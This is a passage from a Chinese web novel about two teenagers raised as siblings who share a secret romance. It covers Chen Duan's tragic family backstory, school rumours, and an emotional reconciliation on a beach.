有那么一瞬间,她确实想让戴望雅尝尝搬起石头打自己脚的滋味,但这就意味着她会被自己的父亲检查那些私房照。 “你要说什么?”戴明开口,语气算得上温和,目光透过金丝眼镜却丝毫没有笑意,全是审视。 孔净看了眼戴望雅因为紧张而微微发白的指尖,她顿了下,“无论我说什么您都不会请学校收回对陈端的处分,还是不浪费彼此的时间了。” 还是做不到把照片捅出来,一方面因为无济于事,另一方面或许是因为她和戴望雅一样都是女孩子。 戴望雅不介意四处展示自己的身体,孔净却不想用她的身体攻击她。 以恶制恶,自己也变成了恶。 这听起来很可笑,她一个违反道德伦理的人,本身就是恶的一种。 但至少,她没有伤害别人。 “你不说,怎么知道没有用。” 戴明开口。 孔净一愣。 “爸爸!” 戴望雅急切地迈上台阶,想走到戴明身边。 戴明忽然抬手,“啪”的一声,响亮无比。 戴望雅的左脸迅速歪向一边,手机也掉在了地上。 “大人说话别插嘴。”戴明语气温和,并未看戴望雅一眼,而是踩着她的手机步下台阶。 突然的暴力行为令孔净吓了一跳,更让她吃惊的是戴明始终温文尔雅的表情。 戴望雅在戴明身后死死握住拳头,不敢再多说一个字。 孔净忽然明白她这种张扬又扭曲的性格是怎么形成的了。 “一手养大的女儿是什么样,我自己清楚。如果你要说的话和望雅有关,确实不必开口了。不过我想听听其他的。” 戴明眼神示意,孔净跟着他走到教学楼后身。 “陈端是你弟弟?” 戴明又用那种审视的目光一寸寸端详着孔净的脸,似乎想找出她和陈端的相似之处。 “……是。” 孔净不喜欢这种感觉,整个人被架在刑讯室里一般。 戴明笑了一下,“说谎也会浪费彼此时间。如果你真的想让他继续留在学校的话,最好诚实一点。” 孔净还未消化他后边那句,忽然听见他问:“越棠你认识吗?” “……不认识。” “陈锦荣呢?” “也不认识。” 戴明皱眉,温和儒雅的面孔陡然变得锋利,“陈端的爸妈都没听说过,他是怎么被带到你们家的?!” 孔净迎着戴明更为严苛的目光,有那么几秒钟好像停止了呼吸。 “我、不知道,他说他爸妈都去世了……您知道他父母的消息?” 戴明没说话,好像在判断孔净这句的真伪。 他依旧皱着眉头,“听说你父亲是个赌鬼,你妈妈也因此离家出走了。” 孔净不知道这跟陈端和他父母的信息有什么联系。 戴明经商多年,打过交道的人不计其数,因此很轻易便读出孔净心里所想。 “一个赌鬼,比正常人成为拐卖犯的几率大得多。” 孔净呼吸急促,很想争辩孔大勇不会丧心病狂到这种地步,但她冰冷开口:“说得好像您很了解我们家的事。您今天不是见过陈端吗?如果您说的都是真的,那您应该是陈端父母的旧识,您为什么不直接跟陈端聊,而来逼问我呢!” “还有,什么越棠什么陈锦荣,您凭什么认为他们就是陈端的父母?您今天是第一次见陈端吧?您的眼睛难道自带DNA检验功能吗?” 孔净说完直接转身走人。 阳光明烈,行走其间感觉十分二的燥。 胡乱想着什么,潜意识直接带她进了教室,连报告都没喊,直接从前门走了进去。 正在写板书的数学老师愣了一下,班里所有人都对她行注目礼,孔净丝毫没有察觉,坐到座位上像是机械程序一样随便拿了本书翻开。 “大佬啊,这么嚣张。”齐淼飞快转过头对孔净竖了个大拇指。 新同桌比较能看清楚孔净的神情,胳膊轻轻碰下她的,“你没事吧?” 孔净一下回神,恍然惊觉已经回到了教室,她牵起嘴角摇了下头。 陈端和孔净被相继叫去办公室,又因为孔净中途闯进教室的反常行为,大家都在传陈端这回闯了大祸,很大可能被开除。 孔净没解释,下课后联系陈端,电话没打通,信息也不回。 她去18班找人,乖乖仔挠着后脑勺说:“端哥没回来啊,不是去校长办公室了吗?” 孔净暗叫不好。 上课铃已经响了,她发足往宿舍方向跑。 男生宿舍大门紧闭,宿管大叔也是一脸疑问,“陈端?没见回来啊。” 孔净在学校扫荡一圈,食堂、小卖部、操场、校道……四处空荡荡。 “孔净,你不上课在这儿干什么?”班主任得知孔净没回教室上课,跑来找人。 孔净急急地说:“老师我想请个假!” 她稀里糊涂的,随口编造孔大勇腿伤不便,要回去看看。 取了车就用力蹬踩,出了校门刻意观察四周,陈端停在对面餐馆门口的机车不见了,也没看到李哲和他跟班的踪影。 孔净的心重重往下坠,几乎要哭出来。 陈端,陈端你这个王八蛋! 为什么每次都不听劝?! 车子拐进居民楼片区,地面青石板不平,巷子又窄,把手擦到侧面前面,车身往反方向歪去,连带着孔净都差点跌倒。 小卖店的阿公坐在柜台边晒太阳,“哦哟哦哟”几声,“小心点啦!” 孔净好像什么都听不见,骑到网吧门口直接从车上跳下去,自行车在身后偏倒下,她掀开空调帘跑进去。 “Lily姐,陈——” 站在冰柜前挑选饮料的少年,听到声音转过脸,“不是应该在上课?” 他想到什么,眸光突变,“出什么事了?” 孔净静止的心跳在这个瞬间恢复跳动,她喘着气走上前,很想再给他一巴掌,很想质问为什么不接电话,为什么不回信息。 可是她走到他面前,忽然伸手抱住他,抱住眼前这个鲜活的会说会动的人。 第64章 记忆碎片 说是抱, 更像是撞。 但陈端在孔净气势汹汹走到跟前的同时就张开了双臂,尽管他并不知道孔净会不会像两个小时之前那样扇他一耳光。 因为惯性,身体往后退了半步,他很快稳住。 拿着冰饮的手悬顿在半空中, 另一手抚拍着孔净的后背, “怎么了?” 声线紧绷, 以为她真的出了什么事,但尽量控制着语气,是温柔的。 孔净鼻梁撞他锁骨上, 不知道是因为痛的原因,还是因为听见和抱住了他, 她埋首在他胸前,瘪嘴两秒, 终于还是哭了出来。 “孔净, 你怎么了?” 陈端很无措, 声音放得更轻。 他从来没有见过这样的孔净,好像被打碎,强撑着到他面前。 他一下一下抚摸她的发顶,嘴唇贴着她的耳廓, 不是很会安慰人, 只能一声又一声地重复, “别怕,我在。别怕……” 孔净被他唇息弄得耳朵发痒,微微偏了下头,眼睛因此离开他肩膀,视线蒙上一层薄薄的水雾,但她还是看清了站在前台柜后面的人。 “你们……”Lily抱臂而立, 刚做的美甲一下一下戳着自己的胳膊,她绕出柜台,“到饭点了,我请你们吃饭吧。” 还是旁边的米线店,Lily没问他们吃什么,走来按照自己的口味跟阿嬷要了三碗一模一样的番茄肉酱米线。 米线端上来,Lily才想起似的,“忘了你们都不爱酸甜口,重新点太浪费,不介意就这么吃吧?” 说完,她从筷筒里抽了一双筷子,直到米线吃完都没再说一句话。 孔净要开口,被她挥手制止了。 陈端提前去付了餐费,Lily笑了下,抽张纸在嘴角按了按,“你们……就这样吧。” Lily最后投来的一眼,像看怪物。 孔净呆呆坐在椅子上,秘密被揭开,被真正在乎的朋友,原来知道是这种感觉。 虽然她不曾对Lily做什么,但世界上存在一种伤害叫精神污染。 知道她和陈端顶着姐弟的名义做了什么,对Lily来说就已经是精神伤害。 “米线还吃吗?” 陈端读出孔净眼里的情绪,抬手圈住她手腕。 两只手重叠,白晃晃搭在老旧的木质餐桌上。 米线店阿嬷随意瞥来一眼,目光不确定是否有其他含义。 孔净怀疑,她真的做好暴露在日光下的准备了吗? “格老子的!你们两个在这里吃香的喝辣的,一点都不管老子饿了几天几夜。” 孔大勇杵着拐,本来就是出来觅食,看见孔净和陈端坐在米线店里,第一反应居然不是他们不在学校怎么跑来这里,而是他们背着他吃独食。 孔净看了陈端一眼,将手从他掌中抽回。 “你认识戴明吗?戴望雅的爸爸。”这话先是对着陈端说的,然后又对着孔大勇说了一遍。 “听都没听过,名字这么拗口,叫戴帽子还差不多。” 孔大勇自顾坐下,大声喊阿嬷多加点米线和肉,阿嬷咕哝“你怎么不多加钱”,他叫叫嚷嚷说都是因为阿嬷小气所以生意才不好。 阿嬷不服气,眼看着孔大勇又要跟人吵起来,孔净“嘭”地拍了下桌子。 孔大勇对她的印象一直是温顺文静,因为这一下突然有些反应不过来。 陈端也看着她。 孔净没理,起身付了孔大勇那份的钱,并让阿嬷帮忙打包一下。 “回去说,我有事问你们。” 孔净拎着打包袋走在前面。 孔大勇反应过来了,在后面骂骂咧咧。 陈端越过他,走到孔净身侧,“戴明找你了?” “你认识他吗?”孔净转头和陈端对视。 正午的阳光晃人眼,视野里出现极小的彩色光斑,使得看人看物会有不真切感,总是隔着什么。 陈端神情淡淡,“你不也认识?——戴望雅的爸爸。” “除此之外呢?”正好走到居民楼下,孔净脚步一顿,猝不及防脱口道,“越棠,陈锦荣,你认识吗?” 话音未落,陈端镜黑的眼眸已有山呼海啸的震荡,尽管他善于隐藏,在听到这两个名字时还是没藏住。 远久的记忆被时间切割,变成一块块锋利的碎片,从时光隧道纷涌而至。 在记起的同时也被割伤,陈端想起那个拖着行李箱走在晦暗巷子里的纤瘦身影,想起石榴色的薄纱长裙,想起那道温柔又虚弱的声音,“小端乖,小端不怕,妈妈抱着小端呢。” 自带古黄色滤镜的温暖场景,它的背面却是尖锐狗血的家庭肥皂剧。 年轻的富二代公子哥对校园女神一见钟情,对其展开热烈的追求之后抱得美人归。 然而女孩追求者众多,公子哥患得患失,于是借酒在没做措施的前提下和女孩私尝禁果并使其怀孕。女孩仓皇失措,公子哥趁机向她求婚。 女孩出身普通家庭,由于结婚生子中断学业,家里人觉得丢脸也和她断了联系。 婚后最开始的几年,公子哥视女孩如珍宝,后来由于家族生意走下坡路,公子哥野心大于才华,撑不起父母留下的家业,又疲于应对日复一日的家庭生活,流连声色场所和出轨也变得顺理成章。 小三带着私生子找上门,女孩虽然柔弱但一身傲骨,在那个尚不开放的年代断然离婚出走。 女孩问只有6岁的孩子,跟爸爸还是跟妈妈?如果跟爸爸,还是可以住大房子睡大床,每天都有好吃的,如果跟妈妈,以后可能要吃很长一段时间的苦。 “跟爸爸就没有了妈妈……”小男孩抱着爸爸为了笼络他刚托人从国外买回来的乐高玩具,一下砸在地上,他牵起妈妈的手,“妈妈不哭,我不要爸爸,只要妈妈。” 公子哥气愤女孩的决绝,也痛恨被亲生骨肉背叛,女孩带着小男孩离家时没有给他们一分多余的钱。 他原以为女孩撑不了多久就会回来求和,但没想到女孩走了就再也没回头。 女孩孤身带着小男孩,做过餐馆服务员、洗头妹、杀鱼妹……后来进了一家鞋厂,每天坐在流水线上十二小时换得一份微薄的工资。但好歹,他们总算安定下来了。 鞋厂主管是个好心的同乡大姐,看他们孤儿寡母可怜,好心给他们申请了一间免费宿舍。 四五平米的小空间既要放下床、衣柜、锅具,又承载着他们对未来的希望。 那间宿舍真的太小了,衣服晾在半开的窗洞前,屋里总是有一股湿漉漉的霉气。 蟑螂和老鼠都是常客。 女孩愧疚地问小男孩怕不怕,小男孩坚定地摇头,“我不怕!我保护妈妈!” 女孩将小男孩搂进怀里,温柔抚拍他的发顶,她畅想着,“等妈妈再攒点钱,我们就出去租一间大点的房子,再给小端买一套自己的桌椅和书柜。主管说妈妈工作做得又好又快,下个月就申报厂里让妈妈当小组长。” 她的工作是给鞋子刷胶,每天要刷800到1000双不等,胶水浸透指头上的绷带,每个指腹都变得皱巴巴,身上也永远是一股塑胶味。 似乎很多事情都说不得,越是畅想着好日子即将来临,劈头砸下的大都是厄运。 小组长还没当上,女孩先病倒了。 第一次在车间晕倒她没当回事,请假要扣工钱,她喝了点水在椅子上坐了会就又回到流水线了。 第二次、第三次晕倒,主管大姐看不过去,承诺不算她缺勤,强拉着她去医院做了检查。 报告单上白纸黑字写着白血病三个字,主管大姐先哭了,女孩有些恍然,听见哭声才反应过来,最先想到的是小端要没妈妈了。 胸口瞬间被洞穿,惶恐再将其填满。 她还是没有哭,报告单揉成一团扔进垃圾桶,拜托主管大姐暂时不要辞退她,也不要告诉别人。 女孩照常上班,照常陪伴小男孩,她开始给小男孩做思想工作,告诉他爸爸其实不是好人,她苦涩地回忆,试图从过往的痛苦片段中提取那人哪怕一丁点的好。 小男孩天性敏锐,他生气地扔掉手里的玩具车,“他是坏人!我讨厌他!他不要妈妈,我也不要他!” 女孩心想就算是癌症,也不至于明天就走掉。 至少还有一年半载可以慢慢给小端做铺垫,或许她应该联系前夫让他过来和孩子先接触一段时间。 就是不知道他现任妻子是否会接纳小端,还有那个比小端只小两岁的孩子会不会欺负他…… 在正式联系前夫之前,女孩特意请了一天假,带着小端去商场给他买了很贵却是他以前常穿的衣服、鞋子、书包。 她把小端打扮得特别洋气,小端问她,“是因为妈妈升小组长了吗?” 女孩怔了怔,她说是。 一阵风扑来,她借着理头发的动作,拭掉不小心从眼角溢出的一滴泪。 那天小端很高兴,妈妈升小组长了,妈妈当小组长之后就不用一直一直坐在凳子上刷胶,妈妈的手指头就会重新变好看。 女孩带小端回到厂里,想起应该买个蛋糕,带着小端出来这两年她忙于生计,都没好好给他过过一次生日。 虽然今年离他生日还有半年,但以后也没机会了。 “乖乖的,你画完一幅画,妈妈就回来了。” 女孩拿着钱包急匆匆出门。 迎面碰见常来厂里找兄弟喝酒的孔大哥。 “小越,怎么这么瘦了?是不是没吃肉?今晚我请客,你带小端一块来吃。” 女孩抿嘴一笑,“不了,谢谢大哥。” “小崽,做什么呢?”孔大哥推开宿舍门。 坐在矮凳上趴在床边画画的小端“啪”地一下合上本子,转过头盯着这个并不算熟但也不算陌生的中年男人。 “嘿,眼睛这么有神?被你盯出两个洞来!”男人靠在门边笑着逗他,“你爸爸呢?没爸可不行,别的小孩欺负你。来,你叫我一声爸,我给你——” 话未说完,小男孩举起手里的铅笔就狠扔了过去,铅笔尖从男人的眼角擦过去,在太阳穴上划了一道。 男人先是生气,然后悻悻,“这么小就这么有种,可惜不是我的种。” 男人不受小男孩欢迎,但不妨碍他站在门口一直逗他。 他是想等小越回来,再在言语上讨点好,再者这小孩确实有意思,怎么他就生不出一个这样的来? 然而厂子旁边就有市场,买一个现成的蛋糕来回也就十来分钟。 一小时过去,女孩始终没回来。 听见下面有人哄闹,说什么出车祸了。 相熟的主管大姐急匆匆跑上来,问小端呢,小端在哪里? “快去啊!小越不行了,一个大货车从她身上啊呀……”大姐话都说不完全,扶着墙就开始干呕。 那种极具视觉冲击的画面大人看了都受不了,何况一个孩子。 孔大哥一把薅住从房间里冲出来的小男孩,连哄带骗地说他妈妈被送去医院了,过几天就好了。 摩托车驶过厂门口,沥青路上的血迹未干,小男孩看了一眼之后转过脸去,他在心里默念,妈妈在医院,过几天就好了,他们还要一起吃蛋糕,还要一起去外面租一间大房子…… 就这样,小男孩被孔大哥带回家,浑浑噩噩地过了几天。 这期间,孔大哥其实就在心里盘算了,小越应该是没亲戚了,不然也不会一个人带着孩子出来打工,如果这样的话,那这孩子是不是—— “你爸呢?你妈不在的话,我送你去找你爸爸。”他试着探小男孩的口风。 “你妈才不在!” 小男孩回他。 “格老子的!” 孔大哥笑了,有脾气,是个犟种,白捡的儿子嘛这不是! 他凑钱给女孩举办了简单的丧事,带小男孩在鞋厂待了好几天,还是怕他家有亲戚得到信赶来,别到时候他把男孩带走被当成了拐子。 但左等右等,始终没等来人。 他最后问一遍小男孩,“还记得你爸爸叫什么吗?你老家哪里?” 小男孩用剪刀剪掉妈妈缝在他新书包夹层的家属信息,他死死握着刀片尖端,“他死了!和我妈妈一样……都死了。” 可是啊,8岁又不是3岁,就算在剪掉了妈妈事先留下的有关前夫的信息,他其实也是有记忆的。 在孔家过的这些年,老实说一点都不好。 如果他想,随时可以回到那个叫陈锦荣的男人的身边,虎毒不食子,只要他回去,依旧可以住大房子睡软床上贵族学校。 但是为什么不呢? 陈端懒得去想。 他只是觉得物质上的不好还能忍受,如果再失去最后的精神依托,那他可能连存在也不想了。 你说对吗,孔净? 第65章 跟着我走,我知道路在哪…… 那份打包的米线最后都坨了, 孔净拿上楼热了之后装在碗里,然后才送到孔大勇面前。 听完陈端的自述,孔大勇过于震惊,“格老子的!格老子的!你还说你爸妈都死了, 骗老子这么久!” 他搓搓手, 忽然问道:“听你这么说, 你亲生爸是不是很有钱?你刚才说他叫什么?陈进……?” 孔大勇陷入迷茫,眼神求助孔净。 孔净转过身去阳台帮他把晾干的衣服收进来。 陈端倚在进门的墙边,视线穿过房间, 像在对面的居民楼,又像在看近处梳高马尾穿蓝白校服的人。 也没搭话。 大家都在猜学校到底会给陈端什么处分, 毕竟戴望雅的爸爸戴明是临水镇有名的商人,他不止给清安高中捐过款, 在市教委也有人脉, 让一个没有背景犯过大错的学生受罚, 只是一句话的事。 然而距离戴明亲自拜访校长办公室已经过去一周,学校对于陈端的处分迟迟没有下发,反而有恢复风平浪静之势。 离高考只有半月不到,7班爱好八卦的学生就算想探听点什么, 也不好意思在这个时候去打搅孔净。 孔净安静地上课、下课, 课间给来问题的同学解疑答惑, 脸上不乏笑意。 陈端也照常来7班门口等她去吃饭,两人走在初夏的校道上,光影铺叙,像是夏日青春偶像剧的场景。 不过,所谓的相安无事只是表面,不知道谁又旧事重提几个月前的那则流言。 和上次不同, 这回大家在私下传播的时候说得有鼻子有眼,甚至有人拿出了一张拍得很糊的亲吻照。 当然看不出照片的主角就是孔净和陈端,也无法说明是不是ai合成,但人就是这样,本来就将信将疑,“证据”再一出来,就算是假的,也把人们的认知极大程度往“信”这一边拉扯。 学生们传得沸沸扬扬,老师们自然不可能全然不知。 只是高考在即,孔净又是清安高中重点培养对象,班主任不好像上次那样严厉敲打,只能从侧面让孔净注意私生活检点。 私生活、检点,这五个字很耐人寻味。 孔净点点头,既然班主任没点破,她也就装什么都不知道。 路过教室后排,她不小心碰掉了林语珂放在桌角的笔袋,昂贵的进口文具撒了一地。 两人一同蹲下身去捡,目光在桌下短暂相碰。 “是你吧。”孔净轻轻开口,“两次都是你,对吗?” 林语珂拨了拨刘海,“你在说什么我听不懂。” “希望造谣能帮助你提高分数。” “是造谣吗?”林语珂抽走孔净手里握着的笔。 孔净微不可察地顿了一下,她站起身拍拍手,“重要吗?总之要让你失望了,这些东西根本不会影响我。” “是吗。那就让我们拭目以待,看看你到底是会突破老师们的期待,成为清安高中前无古人后无来者的高考传奇,还是会让所有人大失所望。” “好啊。” “怎么?”陈端在走廊上透过窗户看见林语珂颇为不善的眼神。 “不重要,没有什么能够影响我。走吧,今天时间来得及,去外面吃。” 孔净抬脚踢踢他的鞋跟,把他注意力转回来。 陈端落后她半个身位,因为腿长所以走得慢些,“我也不能吗?” “什么?”孔净没回头。 “你说什么都不能影响你,我也不能吗?”淡淡的一句,像是随口一问。 孔净想了下,“分情况。如果我们目标一致,不用你影响,我也会拉着你往前走,如果——” “你的目标是什么?” “现在吗?尽最大努力考个好学校。” “以后呢?” “不知道,人都是会变的,现在说那么长远的事根本没意义。” 陈端不语。 鎏金的夕阳光照散漫落下,仍是温冷疏离的气质。 快到校门口,他忽然说:“如果我这次考很差,没办法跟你去一个城市上大学怎么办?” 孔净这才回头看向他,“现在才考虑这个,之前干什么去了。” 陈端淡笑一下。 后黑板上的高考倒计时每天更新,数字一天比一天少,班里有人心急已经买了同学录,传到陈端手上,每人有整整两页的版面,他只落下名字和祝福语:祝你有个好前程。 写完竟有片刻的失神,前程两个字,好像是好学生才会思考的东西。 有人说高考是个分水岭,曾经在一个教室的同学经过这道分水岭,有人从此鲜花着锦,有人从此掉进烂泥,更多的则是泯然众人,云泥之别就是从这儿开始的。 陈端向来是个不会内耗的人,他从前只专注于解决当下的生计问题,打游戏、骑机车、混会所,肆意挥霍大好光阴。 因为有孔净那句“一起去北方城市看雪”,他就笃定他们会一直一直在一起。 但现在,他似乎不那么确定了。 “孟书宇这种类型看起来是不错。”陈端牛头不对马嘴,嗓音听起来虽然还是带着一点讥讽的意味,但大部分是真诚的。 “什么意思?”孔净蹙眉,挑开了说,“我跟他不是你想的那样。” “我知道,你又不瞎。” 孟书宇装得端端君子,实际上小把戏不断,但凡长了眼睛的人都不会认为他纯良。 “那你提他干什么?” “做个类比,如果他真的表里如一,好像和你真的挺配。” 都是拥有明确目标,被大家祝福拥有光明未来的人。 陈端双手插兜,为了配合孔净的身高习惯性地微微弓着背,暮色的天空越来越暗,这显得他看起来有些孤独和低沉。 孔净呼吸微顿,怒火骤然在胸口点燃。 “你早这么想不就好了。非要等我们……” 她抿住唇,扭过头大步穿过斑马线。 一辆红色机车像是等在岔道口,忽然拐弯疾驰而来。 陈端几步上前,拽住孔净手臂将她往后面一拉。 机车从孔净和陈端面前驶过,驾驶者扭头看了他们一眼。 李哲虽然戴了头盔,标志性的光头被挡住了,叼着烟歪起一边嘴巴邪笑的表情却一眼醒目。 “陈端!” 陈端沉着脸,立马就要去骑自己的车,孔净反手拖住他。 “算了,先回学校,今天不该出来。” 李哲不是每天都蹲守在学校附近,更像是打游击战,一旦孔净和陈端放松警惕,他就会冒出来寻衅。 孔净不认为他真的敢再做出点什么,只是单纯地搞人心态。 或者说故意引起陈端注意,设圈套等他上钩,然后再反击。 孔净对红色机车有PTSD,那年的台风像是从石厝吹到了清安高中校门口,巨石坍塌的轰隆声犹在耳边回响。 她垂眼,陈端裸露在校服短T外的淡褐色疤痕快速剥裂,皮肉翻开,森然白骨在鲜血中乍现…… “嘀嘀!” 一辆轿车从远处驶来,鸣笛声将她惊醒。 孔净一刻不松手地拉着陈端返回学校。 由于流言私下盛行,不少学生都往他们身上瞟,看清他们紧叠在一起的双手,不由得露出惊诧和了然的表情。 “过来看。” 陈端忽然出声,近处的两个男生立即转头望向别处。 孔净迎着这些目光仍旧不肯放开陈端,一直走到食堂门口才松开手。 食堂还有两个窗口开着,但基本都是剩菜冷饭。 孔净要了两份。 陈端轻啧一声,“看吧,我就是这么影响你的。” 孔净习惯性从自己的餐盘里夹肉菜给陈端,“别瞎说。没有爸的事,你也不会去招惹这些人。” “说不定。”陈端笑了下,“或许我本质上跟李哲他们没什么不同,不都说物以类聚人以群分吗。” “不是。你跟他们不一样。”孔净另一手越过桌面急切地按在陈端手臂上,“你只是还没看清脚下的路。” 陈端看着孔净,“如果一直看不清呢?” 如果他注定就是个烂人呢? 孔净定定地注视他,目光灼烈,试图将自己身上的热灌输进少年的瞳孔。 “那就跟着我走,我知道路在哪里。” 陈端微怔,弯起嘴角笑了一下,“先吃饭。” 晚自习课间,班主任又把孔净叫到走廊上说了几句话。 想必是她和陈端今天下午在校道上“牵手”的行为过于亲密,越是临近考试,毫不夸张地说,班主任大半精力都集中在孔净这个独苗苗身上,他苦口婆心地让孔净千万不要在最后这十来天掉链子。 “陈端那儿也有18班的老师给他做思想工作,我们和上面领导商量了一下,建议陈端最后这些天在家复习就好,不用来学校了。” 班主任自认为已经说得够委婉,陈端从来没把学习当回事,复习?不领头作乱就不错了。 孔净没想到老师们会做出这样的决定,“凭什么不让他来学校?” “孔净!你要搞清楚,要不是戴先生宽宏大量不予追究,陈端这种情况是要被开除的!学校留着他继续参加高考,已经是手下留情了!学校不是你们两姐弟开的,想来就来,想不来就不来!你也不要仗着成绩好就,就——” 班主任动了气,毕竟是男老师,对一个女学生说不出“□□”之类的字眼。 孔净默然站着。 这处忽然变得非常安静,像被一个铁罐子密封住,周遭的打闹声和光亮都透不进来。 “孔净,你要明白老师的良苦用心。学校为了栽培你,因为你爸爸住院,还倡导全校师生捐款帮你度过难关。做人要知恩图报,高考不是你一个人的事。” 班主任缓和了语气,这几句却像山一样压下来。 孔净说不出“我没让你们捐款,钱我最后也没收”这样的话。 没意义,只会再被扣上一个忘恩负义的帽子。 “谢谢老师。您的意思我明白了。”孔净诚恳对班主任鞠了一躬。 “我正好要向您请假,您也知道我爸爸的腿伤一直没好,我需要带他去市医院再检查一遍,麻烦您批个假条。” 孔净拿孔大勇出来说事,不算是信口雌黄。 上完自习,她留在教室收东西,越到后面,留在教室的复习资料越少,都是过滤一遍又一遍之后留下的重点和精华,因此一个书包足以全部装下。 一个高挺直接从前门走进来,按在她拉书包拉链的手上,“还说不会被我影响,你现在又是在干什么?” 除了孔净之外,教室里还有其他人,这会儿都不约而同往这边看。 陈端笑一笑,很自然地收回手。 孔净被他这个动作刺到,以前那个故意在教室走廊上对她使坏的少年,居然也有在意别人目光的这一天。 到底是谁影响谁,谁拖累谁? 孔净一时涩然。 第66章 一体双生 “我请假带爸去医院复查, 跟你有什么关系?” 孔净站起身,把书包往背后顺。 陈端再次抬手,这次没和她有肢体接触,指尖勾住书包提手。 “我带孔叔去, 你好好复习。” “孔净, 你别真的让我觉得自己是个烂人。” 他低垂着眼, 对孔净笑了下。 孔净抓着肩带的手有些脱力,书包在半空中悬停,一点点被陈端的握力勾向他那侧。 天平失衡, 孔净感觉有什么东西在快速流逝,心慌得厉害, 在肩带彻底滑出掌心的瞬间,指尖再次伸过去, 死死抓住。 “你不是, 从来都不是。” “别让人看笑话。”陈端轻声提醒。 孔净异常固执, 扯着肩带顺势把陈端也拉出教室。 “再这样的话,我会后悔。”很多教室人都走光了,走廊上灯光黯淡,陈端轻巧劝说。 “后悔什么?跟着我爸回我家?”孔净不解。 陈端摇头, 昏寐阴影里, 他神情单薄, 有些自嘲地笑笑,“后悔初二那年,怎么没有死在石料场里。” 孔净倏忽抬眼,愤怒轰地一下在胸腔爆开。 她抬起手,却怎么也挥不过去。 “哦,是吗。如果另一个时空里事情是这样发展的, 那我告诉你,那个时空的我也许真的会跟孟学长交往!你以为我很聪明吗?其实一点也不,我看人眼光很差,如果没有你在旁边搞破坏,我会被很多很多人面兽心的家伙骗!你不知道吗?我其实是个很缺爱的人,我要和很多很多男生交往才可以填平空虚!好学生的样子都是装出来的,我其实就是个软弱的人! “你不知道吧?小学六年级那次,要不是因为有你在,我根本不可能敢去扇杨皮耳光!虽然当时我们关系并不怎么好,但我就是知道你会帮我!阿禾说的对,我就是狐假虎威。这些年长这么大,我就是仗着有你在,才敢活成现在这样! “你告诉我你后悔了?好呀!那你就去死吧!你死了以后我绝对不会难过!反正以后有我哭的时候!如果你想看见这样的我,你就去死吧!!!” 一口气说完这些,孔净甩掉握在手里的书包肩带,身影迅速映入阴影里。 她大步往校门方向走,胸口剧烈起伏,耳朵全是自己的喘气声,根本没注意身后跟来的脚步声。 站在街边随意拦了一辆出租车,矮身坐进后座,“嘭”的一下合上车门的同时,一个身影从另一侧钻进车厢。 “搞什么?一起的?”司机看了眼后视镜。 孔净扭头就想下去,陈端倾身过来一只手臂按住她去开车门的手,“一起的。” 陈端半个身体压着孔净,她被圈禁在他和座椅之间,两手使不上力,猛然用力抬起头,额头撞向陈端的下颌。 一声闷哼,陈端的脸偏向一侧,口中立刻尝到淡淡的铁锈味。 孔净这一下用了全力,导致她后脑勺也因为惯性重重撞在座椅上,眼前一阵眩晕。 车厢这么小,司机不可能察觉不到,他紧张地回过头,“小姑娘,真的是一起的?你说实话不要怕。” 孔净耳边一阵嗡嗡声,思绪有两秒的滞涩,以致于没有立即回话。 陈端受了重击,按住孔净的力道一点没松,却在第一时间开口:“你没事吧?” 司机都想下去叫学校保安了,听见陈端这句又不确定了,因为他们都穿着清安高中的校服,外面偶尔一束车灯闪过照见两人的面孔,虽然剑拔弩张,但他们之间的磁场却很微妙,根本就是一对吵架上头的校园情侣嘛! 陈端的音调平稳,显而易见的关心,孔净被他围住,侵略性的皂香和体温像一个温柔的牢笼,抑或安全港。 看,她就是狐假虎威。 就是因为知道陈端始终会是迁就的那方,所以才敢这么肆无忌惮。 孔净靠着座椅,没再试图挣扎,她缓了下语调,跟司机道歉,“不好意思,我们是一起的。” 司机长舒一口气,“去哪里?” “悦色,悦色会所。” 孔净话音落地,明显感觉身边的人一僵,司机映在后视镜里的脸也有些莫名加惊悚。 临水镇谁不知道悦色一条街啊。 这么一来,司机又被搞心态,路上几次劝说高中生还是不要去那种地方比较好。 “没有,那边离海近。” 孔净本来是想让陈端悬着的心在冷风中再多吊一会儿,又怕吓到司机大叔,直接把车开去派出所。 她感觉到旁边的座椅靠背往后陷了些,陈端明显比刚才放松了。 光怪陆离的霓虹灯间或从窗外投进来,在后车厢中一闪而过,孔净扭头看着外面渐次后退的街景,陈端一直看着她。 因为孔净说其实是去看海,司机便没有把车开进悦色一条街,而是停在了附近的沙滩公园门口。 公园全天候开放,晚上夜钓的人不少,也有来露营的,司机大叔为了保障他们的安全也是煞费苦心。 孔净由衷表达歉意和谢意。 海风扑面,温热,咸湿。 孔净扯掉皮筋,把鞋脱了拎在手里,赤脚踩过细盐一样的沙滩,卷着白色浮沫的海浪漫过她的脚踝,有点凉,细沙冲刷过皮肤感觉有点痒。 她继续往前走,像要走进深不可测的大海腹地。 陈端从后面拉住她手臂,“孔净,别闹了。” 他没脱鞋,连带着裤腿都被浸湿了,额发被风吹乱,神情从未有过的无措和破碎。 这边只有几盏微弱的路灯,远远立在身后,天不完全是黑的,应该是苍蓝色,一轮稀薄的上玄月弯钩似的缀垂在海天交接处。 孔净就站在这轮和圆满扯不上任何关系的月亮前,转头看向陈端。 “不是说想死?我们一起好了。” 陈端的掌心紧紧贴合孔净的小臂,指节像要穿过她的皮肤焊进她的骨头。 “别这样,我错了。” 海浪一下又一下,冲刷过他们的小腿肚,很应景地做出要吞噬他们的架势。 风很大,有消音的作用,陈端说的这六个字被切割成碎片,快速陨落不见。 但是孔净听清了。 “真的知道错了吗?你告诉我,错在哪儿了。”她问。 陈端双唇翕张,却没发出声音来。 清薄的月光照在孔净脸上,她眼睛很大,很亮,紧紧盯着身前的少年。 “我告诉你。如果你推翻你的过去,就是在推翻我的过去,如果你不想活,就是在否定我的存在。知道为什么吗?” “……因为我们是一体的。” 没有陈端,孔净不会长成现在的孔净。 没有孔净,他也不会成为这样的陈端。 十年,说长不长,只占人生的十分之一,却比两个年轻生命过往的一半还多。 他们互相陪伴着、支撑着彼此长到现在,像是嵌合叠成的骨牌建筑,如果抽掉其中一半,另一半只有结局只有轰塌。 “可是,我只会影响你……” 陈端不确定,他还是在否定自我。 “还不明白吗?我需要你影响。”孔净另一手重重握在陈端抓着她小臂的手掌上,平滑的指甲变成尖锐的薄刃,切开他自以为是的自弃,非要见血才能唤起他更深处的知觉。 “你会被我往下拖。” “怎么不说是你托着我往上走?” 孔大勇不是因为陈端才酗酒、赌博,李贤梅也不是因为他才在纵容丈夫和怨恨丈夫中反复横跳。就算陈端不出现,孔净相信他们迟早也会走到这一步。 如果没有陈端,孔净想不到她一个人该怎么面对。 